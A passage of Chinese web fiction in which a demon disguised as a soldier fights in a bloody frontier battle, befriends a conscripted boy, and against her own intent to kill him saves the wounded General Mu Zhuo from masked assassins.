在沙尘中,无数身影在挣扎、在倒下,生命在这片土地上如风中残烛般脆弱。宛楪望着眼前这幅人间炼狱般的场景,心中满是惊惶与无助,大脑一片空白。
就在这时,一只粗糙有力的大手突然伸了过来,不由分说地将一杆沉重的铁枪塞进她手中。
还没等宛楪反应过来,便有几个士兵围上来,连推带搡地将她往队伍前方赶,嘴里还不停地叫嚷着:“磨蹭什么!赶紧上前线!”
宛楪无奈地跟随着队伍前行,脚步因为多日的疲倦和鞭打变得沉重而踉跄。
途中,她回头望去,心中满是疑惑。在本质上她觉得那人绝非贪生怕死、临阵脱逃之人,和那些只知享乐、懦弱无能的文官不同。
然而,军情紧急,容不得她多想,转眼间,她便随着部队踏入了那残酷血腥的战场。
战场上,鲜血如红色的洪流般奔腾,汇聚成一条蜿蜒的血河,沿着起伏的大地蜿蜒流淌。兵器的碰撞声震耳欲聋,刀剑相击,火花四溅,每一次的撞击都伴随着生命的消逝。
敌人如同潮水般汹涌而来,仿佛无穷无尽,他们的将领在远处高声嘶吼,今日必将取得胜利!
声音沉重而压抑,如同命运的枷锁。
黄沙在狂风中“呜呜”呼啸,肆意翻卷,遮天蔽日。宛楪在这片血腥的战场上奋力厮杀,每一次挥枪都用尽全身力气。
沉重的呼吸声在耳边“呼哧呼哧”作响,体力随着一次次拼杀在一点点耗尽。汗水与鲜血顺着脸颊滑落,滴落在干燥的土地上,瞬间被尘土吞噬,模糊了她的视线。
“杀啊!冲啊!”
吼叫此起彼伏,兵器碰撞,利箭划破长空,战马嘶鸣,交织在一起,混乱不堪。
在这片血腥的战场上奋力厮杀,她的体力在一点点耗尽,汗水与鲜血交织在一起,模糊了她的视线,她的身体几乎被沉重的铠甲压垮,但依然咬牙坚持着。
宛楪拖着仿佛灌了铅般沉重的双腿,艰难地、一步一挪地攀上一处高地。就在她弯腰捡起武器的瞬间,不经意间抬眼,眼前的一幕让她瞬间震撼,仿佛时间在这一刻凝固。
就在她还在努力辨别方向时,一个身形魁梧的敌人突然从侧面猛扑过来,脸上带着狰狞的杀意,眼中闪烁着疯狂的光芒,手中的大刀裹挟着呼呼风声,直劈向她的脖颈。
宛楪瞳孔骤缩,心脏猛地一紧,下意识地抬起手中的铁枪奋力抵挡。
武器与敌人的刀剑激烈碰撞,发出尖锐刺耳的“嘶啦”声,这声音划破战场的喧嚣,仿若死亡的丧钟。
宛楪双臂肌肉紧绷,青筋暴起,奋力挥舞着手中的武器,划出一道道凌厉的弧线。每一次抵挡,都伴随着与敌军兵器碰撞的巨响,震得她虎口发麻。她身形不断扭转腾挪,脚步在尘土中慌乱地移动,艰难地抵御着四面八方如潮水般袭来的攻击。
一个侧身闪过刺向胸口的利刃,宛楪猛地发力,用武器将身旁的敌人逼退,趁机一个箭步,踉跄着跑出包围圈,跑到一处更为空旷的地方。
她双手死死撑着膝盖,身子剧烈地起伏,大口大口喘着粗气。
稍作喘息,她抬起颤抖的手,用衣袖胡乱擦了擦脸上的汗水和血水,她的目光中透着急切与警惕,迅速地扫视着四周,最后定格在远处敌军阵营——
敌军阵营中出现了一个不同寻常的人,似乎正影响了敌方军队的推进。他身披战甲,肆意张扬,黑色的甲胄在阳光的照耀下反射出血色的光芒。
那个人不断地挥舞着手中的兵器,厮杀着,身边的尸体堆积如山,没有一个人能够从他那里过去。大有一种一夫当关,万夫莫开的气场。
漫天飞舞的血色黄沙中,这个犹如神邸般的人物仿佛是战场上的光亮,宛如定海神针,让整个战场的局势都为之改变。
然而,战争的残酷并未因此而停歇。就在她愣神的瞬间,一把尖锐的长枪从侧面刺来,宛楪反应极快,闪身躲过,却惊出一身冷汗。刚才,那冰冷的枪尖几乎就要刺穿她的身体,她甚至能感受到死亡的气息在身边徘徊。
战场上局势瞬息万变,容不得宛楪有片刻思索。眼见敌人如汹涌潮水般再度涌来,她深吸一口气,强忍着浑身的酸痛与疲惫,再次奋力挥舞起手中的武器。
每一次格挡与反击,都消耗着她所剩无几的体力,她已分身乏术,身心俱疲,可目光仍会不由自主地不时望向远处。
视线里,那个人宛如一座巍峨的山峰,又像一面坚不可摧的墙壁,稳稳地屹立在战场之上,凭借一己之力阻挡着敌人的进攻。他的身姿在纷飞的战火与弥漫的硝烟中显得如此坚定,给己方军队带来了莫大的鼓舞。
然而,命运总是如此残酷。就在宛楪与敌人厮杀得难解难分之时,变故突生。
对面敌军将领瞅准时机,手中长枪如一条蓄势待发的毒蛇,以迅雷不及掩耳之势刺出,狠狠地从那人的心脏处穿刺而过。刹那间,鲜血瞬间喷涌而出,如同一朵凄艳的红花,在天际绽放,带着无尽的凄凉的绝唱。
那人被冲击的力量猛地仰头,身体摇摇欲坠,眼看就要从马背上倒下。这一刻,宛楪终于看清了那人的脸,不禁让她有些惊讶,正是早上从她身边掠过的那位——慕酌将军。
鲜血在尘土与硝烟的映衬下,格外触目惊心。然而,最让宛楪感到冲击和震撼的是,慕酌在那一瞬间竟毫无犹豫,仿佛从未受过伤一般,继续策马向前。
原本因受伤而倾斜、眼看就要倒下的姿势,瞬间调整过来。紧接着,他双腿用力一夹马腹,战马嘶鸣一声,驮着他继续向前冲锋,再度义无反顾地投入到战斗的洪流之中。
若不是宛楪亲眼所见那惊心动魄的一幕,又注意到他腿部微微发抖,下意识地夹紧马肚子以保持平衡,她几乎要怀疑自己刚才看到的那惨烈的受伤画面,是否只是战场上的幻觉。
这一幕,恰似一道惊雷在宛楪的脑海中轰然炸响,眼前的厮杀声、兵器碰撞声仿佛都被隔绝在外,强烈的冲击让她的思维瞬间停滞。
此时,又有几个敌军士兵张牙舞爪地朝她扑来,宛楪从短暂的怔愣中回过神,深吸一口气,周身肌肉紧绷,双手紧紧握住武器,猛地发力,将扑上来的士兵一一击退。每一次挥动武器,都带着她内心深处的愤怒与疲惫。
经历了这场残酷战争的洗礼,她的心中满是对战斗的厌倦,只恨不得这一切能立刻终结。她一边奋力抵挡着敌人的进攻,一边
不断地向慕酌的方向看去。
战况依旧焦灼,双方的厮杀如同永不熄灭的火焰。宛楪也说不清自己究竟在着急什么。或许是从未见过这样拼命的人,又或许是这些天遭遇了太多来自人类上级的压迫与剥削,让她一时间愣住了。
居然还有这样的人,不顾自己的生死,不放弃百姓的命,毅然向前冲!
事隔多年以后,宛楪再想起今日之景,依旧觉得那是一种令人难以置信的震撼:血色的黄沙漫天飞舞,战鼓声此起彼伏,如同命运的呐喊,在这片残酷而绝望的土地上回荡。那个人,周身被鲜血染红,仿佛披上了一件通往天际的战袍,绵延不绝,如同一道血色的长城,守护着屿山关的百姓、士兵,一草一木。
少年肆意张扬,他的身影在战场上如一道狂风,构成了一幅美丽又凄惨的震撼画面。面对无数敌人,眼神中充满了向死而生的决绝,带着一种疯戾,强大的抗争意志。
战场上,局势愈发胶着,宛楪在混战中艰难地支撑着。她的视线不时被扬起的黄沙和弥漫的硝烟所遮挡,随着战斗的持续,幕将军身上的伤口越来越多,鲜血染红了他的战甲,可他的气势却丝毫不减。
直到后来,她不得不承认,看到那人即便身负重伤,敌人却依旧在他手下节节败退,狼狈不堪。那时的他宛如天神降临的样子刻进了她的眼睛里。
然而,战场上的危机并未因幕将军的勇猛而完全消散。宛楪身处战场一隅,周围的敌军如潮水般不断涌来。战场上,哀嚎声与愤怒的呼喊此起彼伏,浓烈刺鼻的血腥味直冲鼻腔,让宛楪感到极度恶心,胃里一阵翻江倒海。
长时间的厮杀让她的体力迅速透支,双腿像是灌了铅般沉重,实在难以支撑,一个踉跄后,双腿一软,半跪在地上。
尽管如此,敌人却丝毫没有放过她的意思,依旧前赴后继地涌来。宛楪的体力渐渐不支,疲惫得几乎心力交瘁。她勉强扫开又一次冲上来的敌人,大口大口地喘息着。
每一次呼吸都带着破碎的声响,只能疲惫地应对着这似乎永无止境的战斗。
不知苦战了多久,宛楪的视线逐渐模糊,意识也开始变得朦胧。就在她几乎要支撑不住的时候,一声悠远而激昂的号角声从远处穿透层层硝烟,清晰地传入耳中。
听到这声号角,对面的敌人瞬间乱了阵脚,原本如潮水般汹涌进攻的态势瞬间瓦解,开始大批地转身撤退。
他们的身影在弥漫的烟尘中显得慌乱而狼狈,不一会儿,便消失在了远方。
待敌人退去,宛楪缓缓放下手中早已沉重不堪的武器,环顾四周。战场上,只剩下一片狼藉,断肢残臂散落各处,破损的兵器和旗帜凌乱地丢弃在地上。
空气中,弥漫着浓烈的烟火味和刺鼻的血腥味,混合在一起,战场上的厮杀声渐渐微弱,宛楪只觉体力不支,双腿一软,差点瘫倒在地。
她下意识地抬头,望向记忆中少年所在的方向。
浓重的血色糊住了她的双眼,眼前的景象影影绰绰,看不真切。只见少年周围的人越来越少,他孤身一人,半跪在地上。尽管身形狼狈,却依旧保持着战斗的姿态,手中紧握着剑与枪,剑身和枪尖还在不断往下滴血。
殷红的血滴从他满是尘土的身上滚落,没入干燥滚烫的沙子里,一滴接着一滴,很快,地上的血迹便与最初那汇聚成的“血河”交融在一起。
狂风呼啸,卷起地上的沙石,扑打在少年的身上,也扑打在宛楪的脸上。弥漫的硝烟尚未散去,浓烈的血腥味在空气中肆意弥漫,混合着焦灼的气息。远处,破损的军旗在风中摇摇欲坠,战场上残肢断臂和散落的兵器,诉说着这场战斗的惨烈。
宛楪深陷这场充满痛苦与绝望的战争泥沼,凄厉的悲鸣在耳边不停回荡,每一声都重重地敲击着她的神经。长时间的厮杀早已耗尽了她的体力,身心俱疲的她,意识也在疲惫与伤痛的双重折磨下,逐渐变得涣散。
她的眼前一片模糊,视线里只有不断晃动的人影和弥漫的硝烟,双脚像是踩在棉花上,绵软无力,完全使不上劲。
她不记得自己是如何回到营帐的,大脑混沌得如同浆糊,只是在半梦半醒间,恍惚觉得自己像是被几个小兵架着,身体不受控制地被拖行着,耳边是嘈杂的声音,却怎么也听不真切。
痛苦与绝望如浓稠的墨汁,肆意蔓延,将一切都笼罩其中,又似一头凶猛残暴的猛兽,无情地撕咬着这里的每一个人。
待脑袋传来一阵剧烈的疼痛,宛楪缓缓转醒。
映入眼帘的是残阳落幕的昏暗天空,如一块被鲜血浸透后又逐渐干涸的破布,沉甸甸地压在头顶。
营帐内弥漫着一股令人作呕的气息,那是血腥味、汗臭味和草药味混杂在一起的味道,沉闷而压抑。
昏暗的光线在角落里摇曳不定,宛楪虽仍未完全清醒,意识却已开始慢慢回笼。
这时,一阵痛苦的呻吟声钻进她的耳朵,“疼……疼死我了……”那声音像是被利刃划破喉咙后发出的,沙哑又凄厉,中间还夹杂着断断续续的抽噎。
一名士兵的声音颤抖着,带着无尽的痛苦,“这腿……怕是保不住了……”伴随着他的话语,是被褥被用力攥紧的沙沙声,想来他正紧紧抓着身下的床铺,以抵御剧痛的折磨。
宛楪艰难地睁开眼睛,视线一片模糊,头沉甸甸的,每动一下都像是被重重敲击。她缓缓转动眼眸,努力让视线聚焦。
角落里,另一名士兵坐在矮凳上,低垂着头,双手无力地垂在身侧,“疼……这疼什么时候是个头啊,我这胳膊,以后还怎么回家种地……”豆大的汗珠顺着他的额头滚落,滴在破旧的被褥上。
听到这话,他缓缓抬起头,眼神中满是悲戚与迷茫,刻意压低声音,肩膀也随之垮下去,“这仗,也不知道啥时候是个头啊……家里的爹娘还盼着我回去呢,这国家连年征战,也不管咱们这些小兵的死活,再这么下去,就算活着回去,日子又能好到哪儿去……”说着,他的眼眶微微泛红,望向营帐外的眼神中充满了无助与哀伤。
另一个声音紧接着响起,带着一种沙哑而疲惫的语气,仿佛是从无尽的痛苦中
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挤出来的:“为什么,为什么就是不让我们好好活着呢……这天底下到底该如何?”
营帐内的空气仿佛都被痛苦与绝望浸透,每一丝呼吸都裹挟着沉重的哀伤。四周一片死寂,只有破败的营帐和烧焦的树木静静地伫立着。
宛楪她吃力地动了动身子,每一寸肌肉都在抗议,发出酸痛的信号。她忍不住咳嗽了几声,喉咙像是被砂纸摩擦过一般难受。
费了好大的劲,她终于撑起身子,这才发现床边坐着一个七八岁的男孩。男孩的小脸脏兮兮的,可一双眼睛却格外明亮,正目不转睛地盯着她,眼中满是期待与欣喜,像是在黑暗中看到了一丝曙光。
见她醒来,男孩原本紧绷的小脸瞬间绽放出灿烂的笑容,眼睛眯成了弯弯的月牙,眼中闪烁着激动的光芒。他迫不及待地立刻凑上前,兴奋地说道:“六六哥你醒了,我等了你好久,他们都说你快死了,我才不信呢!”
宛楪看着眼前这个满脸稚气的小男孩,疲惫的脸上露出一丝淡淡的笑意,抬手轻轻摸了摸他的头。
那时的宛楪初入军营,一切都还显得那么陌生又压抑。宛楪在军营的角落巡查时,偶然在军营的角落里发现了这个小男孩,小小的身躯在草丛的掩护下微微颤抖,满是惊惶与恐惧。
一个细微的动静,都能让他对周围的一切,都充满了惧怕。
询问之下才知道,这个小男孩正在为生病的母亲寻找草药,却不幸被抓来充军。一路上,他多次苦苦哀求,希望能被允许回去看一眼母亲,可得到的只是无情的鞭打和驱赶,最终被强行带到了这里。
初见时,小男孩问她叫什么,宛楪随口编了个名字:“六六。”
此刻,小男孩满脸崇拜,眼睛亮晶晶地看着宛楪,兴奋地说道:“六六哥,我听他们说,你可威风啦!一个人守在高处,对面那些敌人,几乎没一个能突破你的防线跑到后面去的!”说着,小男孩脸上闪过一丝期待,接着问:“六六哥,他们还说,你马上就要升职了,升职以后是不是就不用再饿肚子了?”
营帐内,昏暗的光线摇曳不定,伤口的疼痛让宛楪眉头轻皱,她强撑着精神,看着小男孩那满是崇拜、闪烁着星星般光芒的眼睛。
她细细观察小男孩身上的伤势,只见除了前几日被鞭打的旧伤,又多了不少砍刀和枪戟留下的新痕,触目惊心。看到这些,宛楪心里明白,这孩子也被送上了残酷的战场。
想到之前自己的功劳被抢,她没有回答这个问题,“我不知道这个。”
宛楪环顾四周,眼中满是迷茫与困惑,她皱着眉头,“我昏过去之后,到底发生了什么?我是怎么回到这里的?”
小男孩一听,眼睛瞪得更大了,手舞足蹈地讲起来:“六六哥,你不记得啦?你在战场上简直像个战神!一个人左冲右突,大杀四方,硬生生减少了咱们这边好多损失。后来啊,是上面的人派人四处搜查才找到你。当时你都没意识了,那些人还说你活不成了,可我打心底里就不信!”他一边说,一边紧紧盯着宛楪,那眼神仿佛在确认她是不是真的安然无恙。
说到这儿,小男孩微微停顿,歪着头,脸上露出一丝担忧的神色,思考片刻后继续说道:“六六哥,咱们是不是换上司了呀?以前战场上那些受伤快死的人,他们可都不会管的。可这次却把你救了回来,那些老兵私下里都说,上面换了个狠角色,一心想要咱们的命呢。要不……要不咱们跑吧?”
说着,小男孩眼中闪过一丝恐惧和不安,偷偷看了看旁边,仿佛那个所谓要他们命的人就在附近。
远处山峦在月色下影影绰绰,像一头头蛰伏的巨兽。营帐内,压抑如浓雾般弥漫,混着草药味和血腥,让人喘不过气。
“你要当逃兵?”宛楪满脸疑惑,凑近了几步,压低声音,紧接着追问,“再说了,那人为什么非得取咱们性命不可?”
宛楪的话音刚落,那小男孩像是被这突如其来的质问给吓住了,身子猛地一颤,脸上写满了疑惑。
紧接着,他回过神来,着急地往前凑了凑,急切地说道:“六六哥,不是你想的那样。”
他的双手不停地摆动着,眼神中透着慌乱与急切。“我就是想回家了,我父亲是对面国家的人。早些年,两国关系融洽,我父母便来到了这里。”小男孩的目光黯淡下来,声音也变得低沉。
风声呼啸,像是战场上的亡魂呜咽,偶尔传来几声战马的嘶鸣,更添几分紧张与不安
小男孩继续说,“可如今我娘身患重病,在这里根本得不到有效医治,所以我想去对面的国家碰碰运气。”过了一会,他抬起头,眼巴巴地望着宛楪,“我真不是当逃兵,这个国家对我们太不友好了。现在我父亲也去世了,恐怕只有对面的国家,我才能找到救我娘的药。在这儿,根本没人在乎我们的死活。”
他咬着嘴唇,愤愤地挥动着拳头,“新上任的那位估计也一样,不会把我们当回事儿。这些上级,就像等着吃我们肉的豺狼,不管谁来,都是吸我们的血,把我们的命随意践踏,当成他们玩乐的工具!”
说完,周围的空气仿佛都凝固了,阴冷的风嗖嗖地吹过,吹得人心里直发寒。
小男孩满眼落寞,似乎已经对生活感到绝望,无助的样子在风中飘零,好像马上就会被吹倒。
宛楪静静地听着小男孩的倾诉,心中五味杂陈,如此成熟而犀利的想法竟然出自一个孩子之口。
她望着小男孩那充满委屈和愤懑的脸,陷入了沉思。
四周寂静得可怕,偶尔传来几声不知名夜鸟的啼叫,更添几分肃杀。几堆篝火明明灭灭,篝火旁士兵们的影子被拉得老长。
她正欲再问几句,却突然听到不远处传来一阵嘈杂的骚乱声。
声音由远及近,夹杂着急促的驱赶声和众人此起彼伏的惊呼声,还伴随着沉重而急促的脚步声,仿佛一群人正抬着什么沉重的东西匆匆赶来。
“让开!让开!”人群里有人扯着嗓子大声叫嚷,语气中满是焦急与惶恐,“将军要不行了!”
周围的人一听这话,顿时吓得脸色大变,生怕挡了路被军法处置,纷纷像潮水般迅速向两旁散开,瞬间让出了一条宽敞的通道。
空气中仿若凝着一层霜,沉甸甸地压在众人心头,惶恐、焦虑肆意蔓延。每个人的脸上都写满了对眼前景象的迷茫与慌乱。
宛楪费力地透过攒动的人群缝隙望去,只见一副担架匆匆而来。担架上躺着一个人,仅露出一颗脑袋和身上是血迹斑斑、破损不堪的盔甲。
那人双眼紧闭,面色如纸,毫无血色。
嘴角溢出的鲜血顺着下巴蜿蜒而下,在脖颈处留下一道触目惊心的血痕。整个人像被抽去了生气,全然没了对今日这场残酷战斗的感知,仿若已与这慌乱的世界隔绝。
宛楪心不可自控地揪紧了,慕酌!
8. 她更想杀他了!
战场上,浓烈的血腥气仿佛一层厚重的阴霾,久久不散。望着躺在担架上、面色惨白如纸的人,宛楪陷入了深深的沉思。
她的目光紧锁在慕酌那毫无血色的面庞上,脑海中不由自主地浮现出他在战场上的飒爽英姿。
那时的他,宛如战神附体,手中利刃在阳光下闪烁着森冷的寒光,带着一往无前的气势。
然而此刻,周围的将士们却如惊弓之鸟。他们远远地站着,眼神中满是畏惧,目光闪躲,好似生怕与这人有任何交集,仿佛他身上的伤痛会如同瘟疫一般传染。
他们的身体微微颤抖,有的甚至下意识地往后退了几步,刻意与慕酌保持距离,交头接耳间,传出几声低低的叹息和议论。
一个衣衫褴褛的小男孩,顺着宛楪的目光,好奇地看过去。他那小小的脸上满是灰尘,唯有一双眼睛,在脏兮兮的面庞上显得格外明亮。
他犹豫了一下,随即拉了拉宛楪的衣角,声音带着几分颤抖,“六六哥,他是谁呀?看起来好可怜,你说会有人给他找医生吗?”小男孩深知军营的残酷,像这样重伤的人,大概率会被无情地抛弃,任由其自生自灭。想到这儿,他不安地探着脑袋,眼睛里满是不忍。
宛楪的眼神落在慕酌的心口,那里有一处被敌方将领一枪捅穿的伤口,皮肉外翻,鲜血早已干涸,凝结成暗红色的血痂,触目惊心。这般重伤,恐怕……
宛楪轻轻摸了摸小男孩的头,试图安抚他的不安,她的手轻柔而温暖,轻声说道:“别担心,吉人自有天相。对了,小家伙,你之后有什么打算?”她不经意间引用了人类常说的这句话,可话一出口,心中却泛起一丝疑虑,暗自思忖着。
眼前这个重伤的人,真能算得上是吉人,从而得到上天庇佑吗?
眼前的小男孩,不过是个涉世未深的孩子,却能说出那般懂事的话,着实令她大为震惊。两国交战,最受苦的永远是普通百姓。
那些身处高位的掌权者,却永远不会受到战争的直接冲击,住在金碧辉煌的宫殿里,享受着美酒佳肴,民间的疾苦视和他们没有关系。
而像小男孩这样的普通百姓,却要在战火中颠沛流离,失去家园和亲人。
寒风呼啸着席卷过这片满目疮痍的战场,扬起的风沙迷了人的眼。风中夹杂着丝丝寒意,让人忍不住打了个寒颤。
小男孩站在宛楪身旁,瘦弱的身躯在风中微微颤抖,他紧紧地裹了裹身上那件破旧不堪的衣服,仰起头,眼中闪烁着期待的光芒,拉着宛楪的手说道:“我想去北国,六六哥你和我一起去吧。”
那声音里带着孩子特有的稚嫩与渴望,仿佛北国是他心中的一片乐土,能让他摆脱眼前的苦难。
宛楪闻言,身形猛地一滞,眼中闪过一丝犹豫。她本是妖,天地之大,何处不可去?可就在这一瞬,脑海中却突兀地浮现出慕酌浑身是血、气息奄奄的模样。
他的嘴角溢血,眼神中透着不甘和痛苦,有那么一刹那,她心底竟生出一股强烈的念头,想要让那个人活下去。
她轻轻摇了摇头,婉拒道:“不了。”
小男孩的眼神瞬间黯淡下去,原本明亮的眼睛仿佛被一层阴霾笼罩,脑袋也失落低了下去。宛楪见状,心中泛起一丝不忍,抬手轻轻拍了拍他的头,柔声道:“有机会,我一定送你过去。你去寻找父亲的亲人,说不定我能帮你达成心愿。”
小男孩抬起头,眼中满是对未来的迷茫与无措。他的嘴唇微微颤抖,想要说些什么,却又咽了回去。他心里明白,眼前的人与自己非亲非故,没有义务卷入自己的麻烦。
“好,六六哥,有机会我一定会去的,我要去那里帮我母亲报仇!”小男孩紧握着拳头,稚嫩的脸上满是坚定,他的指甲嵌入掌心,手背上青筋暴起,仿佛在积蓄着全身的力量。
这话让宛楪十分惊讶,问道:“你母亲不是还在吗?怎么……”
小男孩的眼眶瞬间红了,泪水在眼眶里打转,声音带着哭腔,缓缓道出了背后的悲惨故事。原来,他的母亲重病在身,卧床不起,而这个腐败的国家里,那些贪婪的官员和地主,怎会容忍一个重病妇人占据着一间破旧的房子。他若离开,母亲不仅无人照料,还会被无情地赶出家门,生死难料。
“我离开了,母亲活不了多久的,她本就已经重病,我现在还被抓过来,母亲肯定会担心我,吃不下饭……”说到这儿,小男孩再也忍不住,泪水夺眶而出,顺着脸颊滑落,滴在满是尘土的地面上。
“坏人,这个国家太坏了,我讨厌这里的每一个人!我要去北国,我要报仇!”他的哭声在空旷的战场上回荡,显得格外凄凉。
宛楪愣住了,凛冽的寒风肆意吹过她的发梢,她一时语塞,不知该如何回应。放眼望去,四周是一片荒芜的原野,残肢断臂散落一地,几株枯树在风中孤零零地立着,枝桠上的叶子沙沙作响。
这人间的苦难与纷争,本不是她一个妖该插手的事,可此刻,心中却涌起一股难以言说的情绪。
战场上硝烟虽已渐渐散去,但刺鼻的血腥味仍弥漫在空气中,熏得人眼眶发涩。
小男孩仰头看向宛楪,脸上泪痕未干,还带着未散尽的委屈与懵懂,声音带着一丝哽咽,“六六哥,那你呢,你为什么不走,是因为对这个国家还有期望吗?”他的眼神里满是疑惑,在他小小的认知里,这个国家早已千疮百孔。
宛楪被这一问,思绪瞬间被拉回到那个躺在担架上、气息奄奄的身影。慕酌浑身是血的模样,如同鬼魅般在她脑海中不断浮现,一帧接着一帧。
他那毫无生气的面容,微弱的呼吸,都让她的内心波澜起伏。
她心底最原始的想法,是盼着他赶紧死,好让自己拿回真身。可不知为何,一想到那个曾经意气风发、在战场上纵横捭阖的男人,如今却落得这般凄惨下场,她又觉得命运对他太过残忍。
各种复杂的念头在她脑海中搅成一团,她烦躁地甩了甩头,试图将这些杂乱思绪抛开,“不知道,可能是因为有人在这,我要等他。”这话一出口,她自己都觉得有些含糊其辞。
实际上,宛楪心里清楚,自己真正等的是他咽下最后一口气。上次她悄悄探查过,发现自己的真身竟在护着慕酌的心脉。而在真身之外,还有一股看似柔和,实则深不可测的内力守护着,如同铜墙铁壁一般,阻挡着外人窥探这个秘密。
若不是因为那是自己的真身,以她现在的实力,根本无法察觉其中的奥秘。对她而言,突破这层内力,杀掉慕酌,取回真身,是难如登天的事。但
此刻慕酌重伤濒死,确实是个千载难逢的好机会。
小男孩恍然大悟,脸上还带着几分孩童特有的狡黠,调侃道:“六六哥是在等自己的爱人吧,你是不是很爱她呀?”
宛楪顿时有些尴尬,犹豫片刻后,只得含糊应道:“哦,或许是这样。”<
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p>小男孩一听,绽开灿烂的笑容,天真地说道:“那祝六六哥你和那位长久,心连心,终成眷属!”
宛楪暗自苦笑,无奈地扶了扶额头,心想,什么心连心,分明是剜心的死敌。她笃定,要是慕酌知道维护自己心脏的药草竟是她的一部分,肯定会毫不犹豫地杀了她,将她彻底炼制成药材,来根治自己的顽疾,何况他如今重伤垂死,求生欲必定更强。她仿佛看到了慕酌得知真相后那狰狞的面容,和他手中那把寒光闪闪的利刃。
想到这儿,宛楪陷入了更深的沉思。小男孩见她神色哀伤,以为是自己的话勾起了她的伤心事。他心疼地伸出短小的手臂,轻轻拍了拍宛楪的衣角,安慰道:“六六哥,你别伤心了。我去给你拿点吃的,自从上面的人换了,起码固定时间有人在给咱们吃的。”
宛楪还没来得及阻拦,小男孩就像只敏捷的小猴子,一溜烟跑远了。她无奈地叹了口气,望着小男孩远去的背影。
不一会儿,远处传来小男孩清脆的声音:“六六哥,以前都是你给我找吃的,嘿嘿,这次我给你拿!”那声音回荡,带着一丝温暖和希望。
宛楪嘴角微微上扬,露出一抹淡淡的笑意,目光追随着小男孩远去的背影。人类社会的更迭速度着实让她有些意外,这么短的时间,上层居然就完成了权力的交替。正思索间,她的神情陡然一凛,像是捕捉到了什么异常,心中涌起一股莫名的不安。
人类更换领袖的消息传播得如此迅速,短短一个时辰之内,连一个小孩子都知晓了,除非……
除非她没有感知到时间流动,很有可能她昏迷不止一天时间。
宛楪眉头紧锁,下意识地感受了一下自己的身体状况,果然!她只觉得体内气血翻涌,原本就虚弱的身体此刻更是绵软无力,仿佛被一层无形的枷锁束缚住。
她又气又笑,指尖因为用力攥紧而泛白,关节处发出“咔咔”的声响。原来他竟如此防备自己,悄无声息地在她体内下了药。
若不是她此前法力尽失,又接连受伤,身体虚弱,怎么会轻易被人类这种不入流的手段所影响,甚至连时间的流逝都浑然不觉。她想起这几日来昏昏沉沉,那种意识模糊的感觉,
这下她明白了,身体状况愈发糟糕,恢复时间大幅延长,都是这药在作祟!
宛楪紧咬下唇,心中杀意更盛,好啊,如今又多了一个让慕酌去死的理由!她的眼神中闪过一丝决绝的杀意。
她深吸一口气,试图平复内心的怒火,抬眼望向天边缓缓升起的月亮。月色洒在这片饱经战火洗礼的大地上,四周静谧,唯有夜鸟偶尔发出几声低沉的咕鸣,更添几分阴森。
宛楪的眼眸中寒光一闪,脑海中交替浮现出慕酌在战场上奋勇杀敌的飒爽英姿和此刻重伤濒死的狼狈模样,她的手指不自觉地回握,指尖深深陷入掌心,分不清这究竟是激动还是愤怒。她的心跳加速,呼吸也变得急促起来,内心的矛盾和挣扎让她几近崩溃。
就在这时,远处传来一阵轻微的簌簌声,打破了夜的宁静。那声音细微却又清晰,宛楪警觉地望去,只见一行身着黑色夜行衣的人正朝着慕酌所在的营帐飞速赶来。
他们身形敏捷,动作轻盈,带起一阵风声,在这漆黑的夜里,仿佛是从黑暗深处涌出的神秘暗影,让人捉摸不透他们的来意。他们脸上蒙着黑色的面巾,只露出一双双冰冷的眼睛,也不知这黑夜之中,究竟还隐藏着多少不为人知的秘密。
9. 你也杀我一次!
暮色沉沉,如浓墨般在天际晕染开来,将周遭的一切都笼上了一层压抑的暗纱。
宛楪抱着十足看好戏的心态,悄无声息地跟了过去。她的嘴角微微上扬,眼中闪烁着幸灾乐祸的光芒,心里暗自想着:“慕酌,我倒要瞧瞧你这下会遭什么报应。”
一想到慕酌之前给自己下那种控制人恢复的药,她的眼中瞬间闪过气愤,恨不得立刻将他剁成千百片,方能解心头之恨。
冷风呼啸着穿梭在街巷之间,发出如鬼哭狼嚎般的声响,枯树枝桠嘎吱作响,更添几分阴森。
那些人像是嗅到血腥味的鲨鱼,渐渐从四面八方聚拢过来,进入营帐。宛楪站在人群外面,双手抱在胸前,脸上带着一丝冷笑,心里想着:“罪有应得,这就是你的下场。”
周围一片死寂,里面竟没有传来一丝声音,仿佛时间都凝固了。狂风依旧在耳边肆虐,吹得宛楪的发丝肆意飞舞,打在她冰冷的脸颊上。
一秒,两秒,三秒……
她的呼吸不知不觉间变得急促起来,脑海中不由自主地浮现出慕酌可能遭遇的惨状,一个可怕的念头闪过:“慕酌不会已经死了吧?”
该!自作自受!
可她的手却不自觉地攥紧了衣角,掌心已满是汗水,脑海中不断浮现出那人在战场上意气风发的模样——身姿矫健,眼神坚定,如战神般勇猛,神挡杀神,佛挡杀佛,仿佛世间没有什么能够阻挡他。可
现在,里面却一点动静都没有,他现在那么虚弱,随便来一刀,岂不是就……
宛楪用力摇了摇头,试图把这个可怕的想法甩出脑海,可那种不安的感觉却愈发强烈。她的内心好似被千万根钢针同时穿刺,煎熬之感如汹涌的潮水般将她彻底淹没。
她额头上渗出了细密的汗珠,脑海中,理智与情感进行着一场激烈的交锋。
“不,似乎不应该让那个人就这么死了。”她心中暗暗思忖,“他要是死了,真身也随之消失不见可如何是好?”
慕酌在战场上有着不可替代的作用,那些浴血奋战的将士们,还都指望着他来保护呢。他绝不能就这么轻易地死去。
念及此处,宛楪不再有丝毫犹豫,脚下猛地发力,如离弦之箭般朝着人群冲了进去。然而,眼前的一幕让她的心瞬间悬到了嗓子眼。
只见一个身形高大的黑衣人,手持一把寒光闪闪的利刃,那锋利的刀尖正悬在慕酌的头顶上方,仿佛下一秒就要无情地刺下。
慕酌面色惨白如纸,毫无血色,双眼紧闭,像是对近在咫尺的致命威胁毫无察觉。
宛楪见状,心急如焚,脚下步伐一错,猛地一个箭步冲上前去,同时抬起右腿,用尽全身力气朝着那把刀踢去。“哐当”一声巨响,刀被踢飞出去,在地面上划出一道长长的痕迹。
黑衣人显然没料到会有人突然插手,微微一愣后,立刻反应过来,恶狠狠地朝着宛楪扑了过来。宛楪迅速摆好架势,与黑衣人缠斗在了一起。
在激烈的打斗过程中,宛楪心中不禁暗暗吃惊——这些黑衣人的实力超乎想象的强劲!
每一次出拳、每一次踢腿,都带着呼呼的风声,招招致命!他们的动作行云流水,配合默契,一看就是训练有素的杀手。
宛楪心中突然想起之前有人跟自己提过的,人类世界中那些专门以杀人为业的神秘组织。
她忍不住在心中暗自咒骂:“这个慕酌,到底是惹了多少人啊?派了这么多高手,就为了取他的性命。”
